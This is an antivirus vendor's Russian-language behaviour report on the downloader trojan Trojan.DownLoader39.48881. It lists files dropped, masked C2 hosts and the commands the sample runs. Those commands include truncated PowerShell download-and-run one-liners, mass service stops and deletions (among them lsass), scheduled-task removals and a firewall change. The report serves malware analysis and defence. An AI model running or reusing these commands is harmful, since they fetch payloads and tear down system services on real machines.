Trojan.DownLoader39.48881

Техническая информация

Вредоносные функции

Создает и запускает на исполнение

'<SYSTEM32>\windowspowershell\v1.0\fsfikt6d5er.exe' -

Изменения в файловой системе

Создает следующие файлы

%TEMP%\kr.bin
%TEMP%\csc1361.tmp
%TEMP%\xvyrkoty.out
%TEMP%\xvyrkoty.cmdline
%TEMP%\xvyrkoty.0.cs
%TEMP%\40s6z8sn.dll
%TEMP%\resff55.tmp
%TEMP%\cscff54.tmp
%TEMP%\40s6z8sn.out
%TEMP%\40s6z8sn.cmdline
%TEMP%\40s6z8sn.0.cs
%TEMP%\zcbhkrec.dll
%TEMP%\res5eb3.tmp
%TEMP%\csc5eb2.tmp
%TEMP%\m6.bin.ori
%TEMP%\zcbhkrec.out
%TEMP%\zcbhkrec.cmdline
%TEMP%\zcbhkrec.0.cs
%TEMP%\m6.bin
%TEMP%\if.bin
%TEMP%\res1371.tmp
%TEMP%\xvyrkoty.dll

Удаляет следующие файлы

%TEMP%\res5eb3.tmp
%TEMP%\xvyrkoty.cmdline
%TEMP%\xvyrkoty.0.cs
%TEMP%\xvyrkoty.out
%TEMP%\csc1361.tmp
%TEMP%\res1371.tmp
%TEMP%\40s6z8sn.dll
%TEMP%\40s6z8sn.out
%TEMP%\40s6z8sn.pdb
%TEMP%\xvyrkoty.dll
%TEMP%\40s6z8sn.0.cs
%TEMP%\cscff54.tmp
%TEMP%\resff55.tmp
%TEMP%\zcbhkrec.cmdline
%TEMP%\zcbhkrec.0.cs
%TEMP%\zcbhkrec.out
%TEMP%\zcbhkrec.pdb
%TEMP%\zcbhkrec.dll
%TEMP%\csc5eb2.tmp
%TEMP%\40s6z8sn.cmdline
%TEMP%\xvyrkoty.pdb

Сетевая активность

Подключается к

'localhost':43669
'd.###wjdu.com':80
't.##3u9.com':80

UDP

DNS ASK p.##9kq.com
DNS ASK d.###wjdu.com
DNS ASK t.##3u9.com

Другое

Создает и запускает на исполнение

'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zcbhkrec.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5EB3.tmp" "%TEMP%\CSC5EB2.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\40s6z8sn.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFF55.tmp" "%TEMP%\CSCFF54.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xvyrkoty.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1371.tmp" "%TEMP%\CSC1361.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\jrersvzi.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3811.tmp" "%TEMP%\CSC3800.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\lpmfkax0.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4431.tmp" "%TEMP%\CSC4421.tmp"' (со скрытым окном)
'<SYSTEM32>\taskmgr.exe' ' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c echo try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='0261b30c6773e4c04987bbe5090ba685';$ifp=$env:tmp+'\if.bin';$down_url='http://d.#####...
'<SYSTEM32>\sc.exe' Delete clr_optimization
'<SYSTEM32>\sc.exe' Config AxInstSV Start= Disabled
'<SYSTEM32>\sc.exe' Stop AxInstSV
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\jrersvzi.cmdline"
'<SYSTEM32>\sc.exe' Delete AxInstSV
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3811.tmp" "%TEMP%\CSC3800.tmp"
'<SYSTEM32>\sc.exe' Config Zational Start= Disabled
'<SYSTEM32>\sc.exe' Stop Zational
'<SYSTEM32>\sc.exe' Delete Zational
'<SYSTEM32>\sc.exe' Config "DNS Server" Start= Disabled
'<SYSTEM32>\sc.exe' Stop "DNS Server"
'<SYSTEM32>\sc.exe' Delete aspnet_staters
'<SYSTEM32>\sc.exe' Delete "DNS Server"
'<SYSTEM32>\sc.exe' Stop clr_optimization
'<SYSTEM32>\sc.exe' Stop Serhiez
'<SYSTEM32>\sc.exe' Config SuperProServer Start= Disabled
'<SYSTEM32>\sc.exe' Stop SuperProServer
'<SYSTEM32>\sc.exe' Delete SuperProServer
'<SYSTEM32>\sc.exe' Config ".Net CLR" Start= Disabled
'<SYSTEM32>\sc.exe' Stop ".Net CLR"
'<SYSTEM32>\sc.exe' Delete ".Net CLR"
'<SYSTEM32>\sc.exe' Config WissssssnHelp32 Start= Disabled
'<SYSTEM32>\sc.exe' Stop WissssssnHelp32
'<SYSTEM32>\sc.exe' Delete WissssssnHelp32
'<SYSTEM32>\sc.exe' Config WinHasdadelp32 Start= Disabled
'<SYSTEM32>\sc.exe' Stop WinHasdadelp32
'<SYSTEM32>\sc.exe' Config Serhiez Start= Disabled
'<SYSTEM32>\sc.exe' Delete WinHasdadelp32
'<SYSTEM32>\sc.exe' Delete Serhiez
'<SYSTEM32>\sc.exe' Config clr_optimization Start= Disabled
'<SYSTEM32>\sc.exe' Stop aspnet_staters
'<SYSTEM32>\sc.exe' Config aspnet_staters Start= Disabled
'<SYSTEM32>\sc.exe' Delete SRDSL
'<SYSTEM32>\sc.exe' Config WifiService Start= Disabled
'<SYSTEM32>\sc.exe' Stop WifiService
'<SYSTEM32>\sc.exe' Delete WifiService
'<SYSTEM32>\sc.exe' Config ALGM Start= Disabled
'<SYSTEM32>\sc.exe' Stop ALGM
'<SYSTEM32>\sc.exe' Delete ALGM
'<SYSTEM32>\sc.exe' Config wmiApSrvs Start= Disabled
'<SYSTEM32>\sc.exe' Stop wmiApSrvs
'<SYSTEM32>\sc.exe' Delete wmiApSrvs
'<SYSTEM32>\sc.exe' Config wmiApServs Start= Disabled
'<SYSTEM32>\sc.exe' Stop wmiApServs
'<SYSTEM32>\sc.exe' Stop SRDSL
'<SYSTEM32>\sc.exe' Delete wmiApServs
'<SYSTEM32>\sc.exe' Stop taskmgr1
'<SYSTEM32>\sc.exe' Delete taskmgr1
'<SYSTEM32>\sc.exe' Config WebServers Start= Disabled
'<SYSTEM32>\sc.exe' Stop WebServers
'<SYSTEM32>\sc.exe' Delete WebServers
'<SYSTEM32>\sc.exe' Config ExpressVNService Start= Disabled
'<SYSTEM32>\sc.exe' Stop ExpressVNService
'<SYSTEM32>\sc.exe' Delete ExpressVNService
'<SYSTEM32>\sc.exe' Config WW#.#DOS.CN.COM Start= Disabled
'<SYSTEM32>\sc.exe' Stop WW#.#DOS.CN.COM
'<SYSTEM32>\sc.exe' Delete WW#.#DOS.CN.COM
'<SYSTEM32>\sc.exe' Config WinHelpSvcs Start= Disabled
'<SYSTEM32>\sc.exe' Stop WinHelpSvcs
'<SYSTEM32>\sc.exe' Config taskmgr1 Start= Disabled
'<SYSTEM32>\sc.exe' Delete WinHelpSvcs
'<SYSTEM32>\sc.exe' Config SRDSL Start= Disabled
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -s -NoLogo -NoProfile
'<SYSTEM32>\sc.exe' Config WinHasdelp32 Start= Disabled
'<SYSTEM32>\sc.exe' Stop ClipBooks
'<SYSTEM32>\schtasks.exe' /Delete /TN Update2 /F
'<SYSTEM32>\schtasks.exe' /Delete /TN Update3 /F
'<SYSTEM32>\schtasks.exe' /Delete /TN Update4 /F
'<SYSTEM32>\schtasks.exe' /Delete /TN DNS /F
'<SYSTEM32>\schtasks.exe' /Delete /TN SYSTEM /F
'<SYSTEM32>\schtasks.exe' /Delete /TN DNS2 /F
'<SYSTEM32>\schtasks.exe' /Delete /TN SYSTEMa /F
'<SYSTEM32>\schtasks.exe' /Delete /TN skycmd /F
'<SYSTEM32>\schtasks.exe' /Delete /TN Miscfost /F
'<SYSTEM32>\schtasks.exe' /Delete /TN Netframework /F
'<SYSTEM32>\schtasks.exe' /Delete /TN Flash /F
'<SYSTEM32>\schtasks.exe' /Delete /TN RavTask /F
'<SYSTEM32>\schtasks.exe' /Delete /TN Update /F
'<SYSTEM32>\schtasks.exe' /Delete /TN Update1 /F
'<SYSTEM32>\schtasks.exe' /Delete /TN GooglePingConfigs /F
'<SYSTEM32>\schtasks.exe' /Delete /TN WwANsvc /F
'<SYSTEM32>\schtasks.exe' /Delete /TN Bluetooths /F
'<SYSTEM32>\schtasks.exe' /Delete /TN Ddrivers /F
'<SYSTEM32>\schtasks.exe' /Delete /TN DnsScan /F
'<SYSTEM32>\schtasks.exe' /Delete /TN WebServers /F
'<SYSTEM32>\schtasks.exe' /Delete /TN Credentials /F
'<SYSTEM32>\schtasks.exe' /Delete /TN TablteInputout /F
'<SYSTEM32>\schtasks.exe' /Delete /TN werclpsyport /F
'<SYSTEM32>\schtasks.exe' /Delete /TN HispDemorn /F
'<SYSTEM32>\schtasks.exe' /Delete /TN LimeRAT-Admin /F
'<SYSTEM32>\schtasks.exe' /Delete /TN DnsCore /F
'<SYSTEM32>\schtasks.exe' /Delete /TN "Update service for Windows Service" /F
'<SYSTEM32>\schtasks.exe' /Delete /TN HomeGroupProvider /F
'<SYSTEM32>\schtasks.exe' /Delete /TN MiscfostNsi /F
'<SYSTEM32>\schtasks.exe' /Delete /TN "System Log Security Check" /F
'<SYSTEM32>\schtasks.exe' /Delete /TN IIS /F
'<SYSTEM32>\sc.exe' Stop mssecsvc2.1
'<SYSTEM32>\sc.exe' Delete ClipBooks
'<SYSTEM32>\schtasks.exe' /Delete /TN my1 /F
'<SYSTEM32>\schtasks.exe' /Delete /TN Mysa /F
'<SYSTEM32>\schtasks.exe' /Delete /TN Mysa1 /F
'<SYSTEM32>\schtasks.exe' /Delete /TN Mysa2 /F
'<SYSTEM32>\schtasks.exe' /Delete /TN Mysa3 /F
'<SYSTEM32>\schtasks.exe' /Delete /TN ok /F
'<SYSTEM32>\schtasks.exe' /Delete /TN "Oracle Java" /F
'<SYSTEM32>\schtasks.exe' /Delete /TN "Oracle Java Update" /F
'<SYSTEM32>\schtasks.exe' /Delete /TN "Microsoft Telemetry" /F
'<SYSTEM32>\schtasks.exe' /Delete /TN "Spooler SubSystem Service" /F
'<SYSTEM32>\schtasks.exe' /Delete /TN "Oracle Products Reporter" /F
'<SYSTEM32>\schtasks.exe' /Delete /TN "Update service for products" /F
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\lpmfkax0.cmdline"
'<SYSTEM32>\schtasks.exe' /Delete /TN gm /F
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4431.tmp" "%TEMP%\CSC4421.tmp"
'<SYSTEM32>\schtasks.exe' /Delete /TN ngm /F
'<SYSTEM32>\schtasks.exe' /Delete /TN Sorry /F
'<SYSTEM32>\schtasks.exe' /Delete /TN Windows_Update /F
'<SYSTEM32>\schtasks.exe' /Delete /TN Update_windows /F
'<SYSTEM32>\schtasks.exe' /Delete /TN WindowsUpdate1 /F
'<SYSTEM32>\schtasks.exe' /Delete /TN WindowsUpdate2 /F
'<SYSTEM32>\schtasks.exe' /Delete /TN WindowsUpdate3 /F
'<SYSTEM32>\schtasks.exe' /Delete /TN AdobeFlashPlayer /F
'<SYSTEM32>\schtasks.exe' /Delete /TN FlashPlayer1 /F
'<SYSTEM32>\schtasks.exe' /Delete /TN FlashPlayer2 /F
'<SYSTEM32>\schtasks.exe' /Delete /TN FlashPlayer3 /F
'<SYSTEM32>\sc.exe' Stop WinHasdelp32
'<SYSTEM32>\sc.exe' Config ClipBooks Start= Disabled
'<SYSTEM32>\sc.exe' Delete WinHasdelp32
'<SYSTEM32>\sc.exe' Delete MpeSvc
'<SYSTEM32>\sc.exe' Stop MpeSvc
'<SYSTEM32>\sc.exe' Config MpeSvc Start= Disabled
'<SYSTEM32>\sc.exe' Config sysmgt Start= Disabled
'<SYSTEM32>\sc.exe' Stop sysmgt
'<SYSTEM32>\sc.exe' Delete sysmgt
'<SYSTEM32>\sc.exe' Config \gm Start= Disabled
'<SYSTEM32>\sc.exe' Stop \gm
'<SYSTEM32>\sc.exe' Delete \gm
'<SYSTEM32>\sc.exe' Config WmdnPnSN Start= Disabled
'<SYSTEM32>\sc.exe' Stop WmdnPnSN
'<SYSTEM32>\sc.exe' Delete WmdnPnSN
'<SYSTEM32>\sc.exe' Config Sougoudl Start= Disabled
'<SYSTEM32>\sc.exe' Stop Sougoudl
'<SYSTEM32>\sc.exe' Config CLR Start= Disabled
'<SYSTEM32>\sc.exe' Delete Sougoudl
'<SYSTEM32>\sc.exe' Delete CLR
'<SYSTEM32>\sc.exe' Stop National
'<SYSTEM32>\sc.exe' Config Nationaaal Start= Disabled
'<SYSTEM32>\sc.exe' Stop Nationaaal
'<SYSTEM32>\sc.exe' Delete Nationaaal
'<SYSTEM32>\sc.exe' Config Natimmonal Start= Disabled
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xvyrkoty.cmdline"
'<SYSTEM32>\sc.exe' Stop Natimmonal
'<SYSTEM32>\sc.exe' Delete Natimmonal
'<SYSTEM32>\sc.exe' Config Nationaloll Start= Disabled
'<SYSTEM32>\sc.exe' Stop Nationaloll
'<SYSTEM32>\sc.exe' Delete Nationaloll
'<SYSTEM32>\sc.exe' Config Nationalmll Start= Disabled
'<SYSTEM32>\sc.exe' Config National Start= Disabled
'<SYSTEM32>\sc.exe' Delete Oracleupdate
'<SYSTEM32>\sc.exe' Delete National
'<SYSTEM32>\sc.exe' Stop Oracleupdate
'<SYSTEM32>\sc.exe' Config Oracleupdate Start= Disabled
'<SYSTEM32>\cmd.exe' /c echo try{$localTMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalTMn',[ref]$localTMn)}catch{};$ifmd5='32390a001e1207eafdd66e35c55aa9d3';$ifp=$env:tmp+'\m6.bin';$down_url='http://d.##...
'<SYSTEM32>\cmd.exe' /S /D /c" echo try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='0261b30c6773e4c04987bbe5090ba685';$ifp=$env:tmp+'\if.bin';$down_url='http://...
'<SYSTEM32>\cmd.exe' /S /D /c" echo try{$localTMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalTMn',[ref]$localTMn)}catch{};$ifmd5='32390a001e1207eafdd66e35c55aa9d3';$ifp=$env:tmp+'\m6.bin';$down_url='http...
'<SYSTEM32>\cmd.exe' /S /D /c" echo try{$localKr=$flase;New-Object Threading.Mutex($true,'Global\eLocalKr',[ref]$localKr)}catch{};$ifmd5='b7a1cfd74661361f71856388dac5aaa6';$ifp=$env:tmp+'\kr.bin';$down_url='http://...
'<SYSTEM32>\netstat.exe' -anop TCP
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zcbhkrec.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5EB3.tmp" "%TEMP%\CSC5EB2.tmp"
'<SYSTEM32>\sc.exe' Config xWinWpdSrv Start= Disabled
'<SYSTEM32>\sc.exe' Stop xWinWpdSrv
'<SYSTEM32>\sc.exe' Delete xWinWpdSrv
'<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 4 "<SYSTEM32>\windowspowershell\v1....
'<SYSTEM32>\sc.exe' Config SVSHost Start= Disabled
'<SYSTEM32>\sc.exe' Stop SVSHost
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\40s6z8sn.cmdline"
'<SYSTEM32>\cmd.exe' /c echo try{$localKr=$flase;New-Object Threading.Mutex($true,'Global\eLocalKr',[ref]$localKr)}catch{};$ifmd5='b7a1cfd74661361f71856388dac5aaa6';$ifp=$env:tmp+'\kr.bin';$down_url='http://d.#####...
'<SYSTEM32>\sc.exe' Delete SVSHost
'<SYSTEM32>\sc.exe' Stop "Microsoft Telemetry"
'<SYSTEM32>\sc.exe' Delete "Microsoft Telemetry"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFF55.tmp" "%TEMP%\CSCFF54.tmp"
'<SYSTEM32>\sc.exe' Config lsass Start= Disabled
'<SYSTEM32>\sc.exe' Stop lsass
'<SYSTEM32>\sc.exe' Delete lsass
'<SYSTEM32>\sc.exe' Config Microsoft Start= Disabled
'<SYSTEM32>\sc.exe' Stop Microsoft
'<SYSTEM32>\sc.exe' Delete Microsoft
'<SYSTEM32>\sc.exe' Config system Start= Disabled
'<SYSTEM32>\sc.exe' Stop system
'<SYSTEM32>\sc.exe' Delete system
'<SYSTEM32>\sc.exe' Stop Nationalmll
'<SYSTEM32>\sc.exe' Config "Microsoft Telemetry" Start= Disabled
'<SYSTEM32>\sc.exe' Delete Nationalmll
'<SYSTEM32>\sc.exe' Stop CLR
'<SYSTEM32>\sc.exe' Config Nationalaie Start= Disabled
'<SYSTEM32>\sc.exe' Stop mssecsvc2.0
'<SYSTEM32>\sc.exe' Config Windows_Update Start= Disabled
'<SYSTEM32>\sc.exe' Stop Windows_Update
'<SYSTEM32>\sc.exe' Delete Windows_Update
'<SYSTEM32>\sc.exe' Config "Windows Managers" Start= Disabled
'<SYSTEM32>\sc.exe' Stop "Windows Managers"
'<SYSTEM32>\sc.exe' Delete "Windows Managers"
'<SYSTEM32>\sc.exe' Config SvcNlauser Start= Disabled
'<SYSTEM32>\sc.exe' Stop SvcNlauser
'<SYSTEM32>\sc.exe' Delete SvcNlauser
'<SYSTEM32>\sc.exe' Config WinVaultSvc Start= Disabled
'<SYSTEM32>\sc.exe' Stop WinVaultSvc
'<SYSTEM32>\sc.exe' Delete WinVaultSvc
'<SYSTEM32>\sc.exe' Config Xtfy Start= Disabled
'<SYSTEM32>\sc.exe' Stop Xtfy
'<SYSTEM32>\sc.exe' Delete Xtfy
'<SYSTEM32>\sc.exe' Config Xtfya Start= Disabled
'<SYSTEM32>\sc.exe' Stop Xtfya
'<SYSTEM32>\sc.exe' Delete Xtfya
'<SYSTEM32>\sc.exe' Config Xtfyxxx Start= Disabled
'<SYSTEM32>\sc.exe' Stop Xtfyxxx
'<SYSTEM32>\sc.exe' Delete Xtfyxxx
'<SYSTEM32>\sc.exe' Config 360rTys Start= Disabled
'<SYSTEM32>\sc.exe' Stop 360rTys
'<SYSTEM32>\sc.exe' Delete 360rTys
'<SYSTEM32>\sc.exe' Config IPSECS Start= Disabled
'<SYSTEM32>\sc.exe' Stop IPSECS
'<SYSTEM32>\sc.exe' Delete IPSECS
'<SYSTEM32>\sc.exe' Config mssecsvc2.0 Start= Disabled
'<SYSTEM32>\sc.exe' Stop Nationalaie
'<SYSTEM32>\sc.exe' Delete mssecsvc2.0
'<SYSTEM32>\schtasks.exe' /Delete /TN WindowsLogTasks /F
'<SYSTEM32>\schtasks.exe' /Delete /TN ECDnsCore /F
'<SYSTEM32>\sc.exe' Config mssecsvc2.1 Start= Disabled
'<SYSTEM32>\sc.exe' Config Nationalwpi Start= Disabled
'<SYSTEM32>\sc.exe' Stop Nationalwpi
'<SYSTEM32>\sc.exe' Delete Nationalwpi
'<SYSTEM32>\sc.exe' Config WinHelp32 Start= Disabled
'<SYSTEM32>\sc.exe' Stop WinHelp32
'<SYSTEM32>\sc.exe' Delete WinHelp32
'<SYSTEM32>\sc.exe' Config WinHelp64 Start= Disabled
'<SYSTEM32>\sc.exe' Stop WinHelp64
'<SYSTEM32>\sc.exe' Delete WinHelp64
'<SYSTEM32>\sc.exe' Config Samserver Start= Disabled
'<SYSTEM32>\sc.exe' Stop Samserver
'<SYSTEM32>\sc.exe' Delete Samserver
'<SYSTEM32>\sc.exe' Config RpcEptManger Start= Disabled
'<SYSTEM32>\sc.exe' Delete Nationalaie
'<SYSTEM32>\sc.exe' Stop RpcEptManger
'<SYSTEM32>\sc.exe' Config "NetMsmqActiv Media NVIDIA" Start= Disabled
'<SYSTEM32>\sc.exe' Stop "NetMsmqActiv Media NVIDIA"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1371.tmp" "%TEMP%\CSC1361.tmp"
'<SYSTEM32>\sc.exe' Delete "NetMsmqActiv Media NVIDIA"
'<SYSTEM32>\sc.exe' Config "Sncryption Media Playeq" Start= Disabled
'<SYSTEM32>\sc.exe' Stop "Sncryption Media Playeq"
'<SYSTEM32>\sc.exe' Delete "Sncryption Media Playeq"
'<SYSTEM32>\sc.exe' Config SxS Start= Disabled
'<SYSTEM32>\sc.exe' Stop SxS
'<SYSTEM32>\sc.exe' Delete SxS
'<SYSTEM32>\sc.exe' Config WinSvc Start= Disabled
'<SYSTEM32>\sc.exe' Stop WinSvc
'<SYSTEM32>\sc.exe' Delete WinSvc
'<SYSTEM32>\sc.exe' Delete RpcEptManger
'<SYSTEM32>\sc.exe' Delete mssecsvc2.1
'<SYSTEM32>\taskmgr.exe'

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней